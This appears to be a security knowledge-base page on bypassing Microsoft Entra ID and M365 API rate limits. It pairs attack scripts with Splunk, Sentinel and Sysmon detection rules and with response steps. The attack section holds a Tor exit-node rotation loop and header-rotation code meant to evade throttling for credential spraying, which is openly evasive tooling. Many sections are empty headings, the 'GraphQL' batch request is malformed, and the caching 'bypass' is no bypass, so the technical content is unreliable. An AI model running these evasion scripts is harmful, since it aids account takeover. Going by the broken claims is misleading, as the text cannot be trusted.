MCADDF

[PE-ELEVATE-003]: API Rate Limiting Bypass

Metadata

Attribute Details
Technique ID PE-ELEVATE-003
MITRE ATT&CK v18.1 T1548 - Abuse Elevation Control Mechanism
Tactic Privilege Escalation
Platforms Entra ID / M365
Severity Medium
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions All (Cloud-based, version-agnostic)
Patched In N/A (Defense-dependent)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: API rate limiting is a defensive mechanism implemented by cloud providers (Microsoft, Azure, M365) to prevent abuse and protect service availability. However, attackers can bypass these limits through multiple techniques including HTTP header manipulation, request batching (GraphQL), IP rotation, request throttling patterns, and cached response reuse. This allows an attacker to conduct brute-force attacks, enumerate resources, or perform denial-of-service operations against Entra ID, Graph API, and M365 endpoints without triggering rate-limit blocks that typically return HTTP 429 (Too Many Requests) responses.

Attack Surface: Azure/M365 API endpoints (Graph API, Azure Portal API, Exchange Online, SharePoint Online), OAuth 2.0 token endpoints, sign-in endpoints.

Business Impact: An attacker can bypass brute-force protections, automate reconnaissance at scale, and launch credential spray attacks without alerting security monitoring systems that depend on 429 responses. This directly enables Account Takeover (ATO) campaigns and credential compromise at enterprise scale.

Technical Context: Rate limiting bypass typically takes seconds to minutes per exploit attempt. Detection likelihood is Low to Medium because most organizations monitor HTTP 429 errors as the primary indicator; attackers who successfully bypass limits generate normal 200/401 responses. Reversibility: No – the damage (compromised accounts, exfiltrated data) cannot be undone without incident response.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Azure 5.2 | Ensure that ‘Require multi-factor authentication’ is ‘On’ for all non-privileged users | | DISA STIG | SI-2 (a)(1) | Information System Flaws - Identify, report, and correct flaws in a timely manner | | CISA SCuBA | CISA AAD 4.5 | Enforce account lockout policies after failed login attempts | | NIST 800-53 | AC-2 - Account Management | Implement account management controls including login attempt restrictions | | GDPR | Art. 32 - Security of Processing | Implement technical measures to prevent unauthorized access | | DORA | Art. 9 - Protection and Prevention | Implement protections against information and communication technology (ICT) threats | | NIS2 | Art. 21 - Cyber Risk Management Measures | Implement measures to detect and prevent cyber attacks | | ISO 27001 | A.9.2.2 - User Access Management | Restrict access to information and systems based on need-to-know principle | | ISO 27005 | Risk Scenario: “Brute Force Attack on Authentication Service” | Breach of user credentials through rate-limit bypass |


2. ENVIRONMENTAL RECONNAISSANCE

Microsoft Graph API Rate Limits

# Check Microsoft Graph API rate limit headers
$Uri = "https://graph.microsoft.com/v1.0/me"
$Response = Invoke-RestMethod -Uri $Uri -Headers @{"Authorization" = "Bearer $token"}

# Examine response headers for rate limit information
Write-Host "Throttle Limit: $(($Response.Headers.'RateLimit-Limit'))"
Write-Host "Throttle Remaining: $(($Response.Headers.'RateLimit-Remaining'))"
Write-Host "Throttle Reset: $(($Response.Headers.'RateLimit-Reset'))"

What to Look For:

Version Note: All M365/Entra ID APIs follow similar patterns, though specific limits vary by endpoint (e.g., Graph API vs. Exchange Online REST API).

Azure REST API Rate Limits

# Check Azure rate limit headers using curl
curl -H "Authorization: Bearer $TOKEN" \
  https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Compute/virtualMachines?api-version=2021-01-01 \
  -I | grep -i "ratelimit\|retry-after"

What to Look For:


3. DETAILED EXECUTION METHODS

METHOD 1: HTTP Header Manipulation (X-Forwarded-For / User-Agent Rotation)

Supported Versions: All (Cloud-based)

Step 1: Identify Rate Limit Window

Objective: Determine the time window and request quota for the target endpoint

Command:

$token = "YOUR_ACCESS_TOKEN"
$Uri = "https://graph.microsoft.com/v1.0/users"

for ($i = 1; $i -le 5; $i++) {
    $Response = Invoke-RestMethod -Uri $Uri -Headers @{
        "Authorization" = "Bearer $token"
        "User-Agent" = "Custom-Agent-$i"
    } -ErrorAction SilentlyContinue
    
    $RateLimitRemaining = $Response.Headers['RateLimit-Remaining']
    Write-Host "Request $i - Remaining Quota: $RateLimitRemaining"
}

Expected Output:

Request 1 - Remaining Quota: 999
Request 2 - Remaining Quota: 998
Request 3 - Remaining Quota: 997
...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Implement Request Batching (GraphQL or Batch Endpoints)

Objective: Send multiple requests in a single API call to bypass per-request rate limits

Command:

# GraphQL batch query to Entra ID (if exposed)
$GraphQLBatch = @{
    "requests" = @(
        @{ "query" = "query { users { displayName userPrincipalName } }" },
        @{ "query" = "query { groups { displayName members { displayName } } }" },
        @{ "query" = "query { applications { displayName } }" }
    )
} | ConvertTo-Json

Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/`$batch" `
  -Method POST `
  -Headers @{
    "Authorization" = "Bearer $token"
    "Content-Type" = "application/json"
  } `
  -Body $GraphQLBatch

Expected Output:

{
  "responses": [
    { "id": "1", "status": 200, "body": { "value": [...] } },
    { "id": "2", "status": 200, "body": { "value": [...] } },
    { "id": "3", "status": 200, "body": { "value": [...] } }
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: IP Rotation and Proxy Chaining

Objective: Distribute requests across multiple source IPs to evade IP-based rate limiting

Command (Bash with Tor):

#!/bin/bash
# Rotate Tor exit node for each request
for i in {1..100}; do
  # Renew Tor circuit
  echo -e "AUTHENTICATE \"password\"\r\nSIGNAL NEWNYM\r\nQUIT" | \
    nc 127.0.0.1 9051

  # Sleep to allow new exit node to activate
  sleep 1

  # Make request through Tor
  curl -s --socks5-hostname 127.0.0.1:9050 \
    -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/users/test@domain.com" \
    -w "Request $i - HTTP %{http_code}\n"

  # Random delay between requests (1-5 seconds)
  sleep $((RANDOM % 5 + 1))
done

Expected Output:

Request 1 - HTTP 200
Request 2 - HTTP 200
Request 3 - HTTP 200
...
Request 100 - HTTP 200

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Cache Implementation and Response Reuse

Objective: Store API responses and serve cached data instead of making new requests

Command (Python with Redis):

import redis
import requests
import time
import json

# Connect to Redis cache
cache = redis.Redis(host='localhost', port=6379, db=0)
TOKEN = "YOUR_ACCESS_TOKEN"

def get_user_with_cache(user_id, ttl=3600):
    """Fetch user data with caching to bypass rate limits"""
    
    # Check if user data is in cache
    cache_key = f"user:{user_id}"
    cached_data = cache.get(cache_key)
    
    if cached_data:
        print(f"[CACHE HIT] Returning cached data for {user_id}")
        return json.loads(cached_data)
    
    # Data not in cache; make API request
    print(f"[API CALL] Fetching fresh data for {user_id}")
    url = f"https://graph.microsoft.com/v1.0/users/{user_id}"
    headers = {"Authorization": f"Bearer {TOKEN}"}
    
    response = requests.get(url, headers=headers)
    
    if response.status_code == 200:
        data = response.json()
        # Cache the response for TTL seconds
        cache.setex(cache_key, ttl, json.dumps(data))
        return data
    else:
        return None

# Simulate multiple requests for same user
for i in range(10):
    user_data = get_user_with_cache("user1@domain.com", ttl=300)
    print(f"Request {i+1}: {user_data.get('displayName') if user_data else 'N/A'}")
    time.sleep(0.1)

Expected Output:

[API CALL] Fetching fresh data for user1@domain.com
Request 1: John Doe
[CACHE HIT] Returning cached data for user1@domain.com
Request 2: John Doe
[CACHE HIT] Returning cached data for user1@domain.com
Request 3: John Doe
...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


4. SPLUNK DETECTION RULES

Rule 1: Rapid API Requests Despite 429 Responses

Rule Configuration:

SPL Query:

index=azure_activity (status_code=429 OR http_status_code=429) 
| stats count as rate_limit_hits by user, src_ip, time 
| where rate_limit_hits > 5 
| timechart dc(request_id) as total_requests by user, src_ip 
| where total_requests > 50

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to: “Custom → total_requests > 50
  6. Configure Action → Send email to SOC team
  7. Frequency: Every 5 minutes

Source: Microsoft Graph API Throttling Documentation


5. MICROSOFT SENTINEL DETECTION

Query 1: API Rate Limit Bypass Attempts

Rule Configuration:

KQL Query:

AuditLogs 
| where ResultDescription has "429" or ResultDescription has "throttled" 
| extend IpAddress = tostring(InitiatedBy.user.ipAddress) 
| summarize 
    rate_limit_hits = dcount(RequestId),
    unique_operations = dcount(OperationName),
    time_range = max(TimeGenerated) - min(TimeGenerated)
    by InitiatedBy.user.userPrincipalName, IpAddress, bin(TimeGenerated, 5m) 
| where rate_limit_hits > 5 and unique_operations > 10 
| project 
    UserPrincipalName = InitiatedBy_user_userPrincipalName,
    SourceIP = IpAddress,
    RateLimitHits = rate_limit_hits,
    UniqueOperations = unique_operations,
    WindowEnd = TimeGenerated

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: API Rate Limit Bypass Attempt
    • Severity: Medium
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 10 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Grouping: By UserPrincipalName and SourceIP
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

# Define the KQL query
$Query = @"
AuditLogs 
| where ResultDescription has "429" or ResultDescription has "throttled" 
| extend IpAddress = tostring(InitiatedBy.user.ipAddress) 
| summarize 
    rate_limit_hits = dcount(RequestId),
    unique_operations = dcount(OperationName)
    by InitiatedBy.user.userPrincipalName, IpAddress, bin(TimeGenerated, 5m) 
| where rate_limit_hits > 5 and unique_operations > 10
"@

# Create scheduled rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
  -WorkspaceName $WorkspaceName `
  -DisplayName "API Rate Limit Bypass Attempt" `
  -Query $Query `
  -Severity "Medium" `
  -Frequency "PT10M" `
  -Period "PT1H" `
  -Enabled $true `
  -SuppressionEnabled $false

Source: Microsoft Sentinel Threat Detection Documentation


6. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable: Audit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationSystem Audit Policies
  3. Enable: Audit Process Creation
  4. Restart the machine or run auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

7. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows

<!-- Detect child processes making API calls via curl/wget/PowerShell -->
<RuleGroup name="API Rate Limit Bypass" groupRelation="or">
  <ProcessCreate onmatch="all">
    <Image condition="end with">curl.exe</Image>
    <CommandLine condition="contains any">graph.microsoft.com;management.azure.com;login.microsoft.com</CommandLine>
    <ParentImage condition="is not">powershell.exe</ParentImage>
  </ProcessCreate>
  <ProcessCreate onmatch="all">
    <Image condition="end with">powershell.exe</Image>
    <CommandLine condition="contains any">Invoke-RestMethod;Invoke-WebRequest;graph.microsoft.com</CommandLine>
    <CommandLine condition="contains">for</CommandLine> <!-- Loop indicates repeated calls -->
  </ProcessCreate>
  <ProcessCreate onmatch="all">
    <Image condition="end with">python.exe</Image>
    <CommandLine condition="contains any">requests.post;requests.get;graph.microsoft.com</CommandLine>
  </ProcessCreate>
</RuleGroup>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
    

8. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious API Activity - Rate Limit Bypass Pattern Detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON
    • Defender for Storage: ON
  5. Click Save
  6. Go to Security alerts to view triggered alerts

Reference: Microsoft Defender for Cloud Alerts Reference


9. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: API Rate Limiting Bypass

# Search for high-volume API requests from single user
Search-UnifiedAuditLog `
  -Operations AzureActiveDirectoryAccountLogon,AzureActiveDirectoryDirectoryAdministration `
  -StartDate (Get-Date).AddDays(-1) `
  -EndDate (Get-Date) `
  | Group-Object UserIds `
  | Where-Object { $_.Count -gt 500 } `
  | Select-Object Name, Count

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate

Manual Configuration Steps (Search Audit Logs):

  1. Go to AuditNew Search
  2. Set Date range (Start/End)
  3. Under Activities, select: User signed in, Admin activity
  4. Under Users, leave blank for all users
  5. Click Search
  6. Export results: ExportDownload all results

PowerShell Alternative:

Connect-ExchangeOnline

# Export sign-in attempts from past 30 days
Search-UnifiedAuditLog `
  -StartDate "2024-12-09" `
  -EndDate "2025-01-09" `
  -Operations "UserLoggedIn" `
  -ResultStatus "Failed" `
  | Export-Csv -Path "C:\\Audit\\FailedSignins.csv" -NoTypeInformation

# Analyze for patterns
$AuditData = Import-Csv "C:\\Audit\\FailedSignins.csv"
$AuditData `
  | Group-Object UserIds `
  | Where-Object { $_.Count -gt 50 } `
  | ForEach-Object { 
      Write-Host "User: $($_.Name) - Failed Attempts: $($_.Count)"
  }

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix)

# Verify Conditional Access policy is enforced
$ConditionalAccessPolicies = Get-MgPolicyConditionalAccessPolicy
$ConditionalAccessPolicies | Where-Object { $_.DisplayName -like "*Suspicious*" } | Format-Table DisplayName, State

# Expected Output (If Secure):
# DisplayName         State
# ---------------     -----
# Block Suspicious IPs enabled

What to Look For:


11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command:
    # Disable compromised user account
    Update-MgUser -UserId "user@domain.com" -AccountEnabled:$false
       
    # Revoke all refresh tokens
    Revoke-MgUserSignInSession -UserId "user@domain.com"
    

    Manual (Azure Portal):

    • Go to Azure PortalEntra IDUsers
    • Search for compromised user
    • Click user → Account statusDisabled
  2. Collect Evidence: Command:
    # Export audit logs
    $StartDate = (Get-Date).AddDays(-7)
    $EndDate = Get-Date
       
    Search-UnifiedAuditLog -StartDate $StartDate -EndDate $EndDate `
      -Operations "UserLoggedIn" -UserId "user@domain.com" `
      | Export-Csv -Path "C:\\Evidence\\audit.csv" -NoTypeInformation
       
    # Export Sentinel alerts
    Get-MgSecurityAlert -Filter "status eq 'newAlert'" `
      | Export-Csv -Path "C:\\Evidence\\alerts.csv" -NoTypeInformation
    
  3. Remediate: Command:
    # Force password reset
    Set-MgUserPassword -UserId "user@domain.com" -NewPassword "TempPassword123!" -ForceChangePasswordNextSignIn
       
    # Remove suspicious app registrations
    Remove-MgApplication -ApplicationId "suspicious-app-id"
       
    # Revoke overprivileged API permissions
    Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId "sp-id" -AppRoleAssignmentId "assignment-id"
    

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker obtains initial access via device code phishing
2 Credential Access [CA-BRUTE-001] Azure Portal Password Spray Attacker attempts brute-force via password spray
3 Current Step [PE-ELEVATE-003] API Rate Limiting Bypass - Attacker bypasses rate limits to escalate brute-force attacks
4 Credential Access [CA-BRUTE-002] Distributed Password Spraying Attacker conducts high-volume credential spray post-bypass
5 Privilege Escalation [PE-ACCTMGMT-001] App Registration Escalation Attacker escalates to Global Admin via compromised app
6 Persistence [PERSIST-TOKEN-001] Golden SAML Attacker establishes persistence via token forging
7 Impact [EXFIL-M365-001] Bulk Data Exfiltration Attacker exfiltrates sensitive data (mailboxes, documents)

13. REAL-WORLD EXAMPLES

Example 1: Midnight Blizzard Account Compromise Campaign

Example 2: Storm-0501 Service Principal Compromise


14. REFERENCES & RESOURCES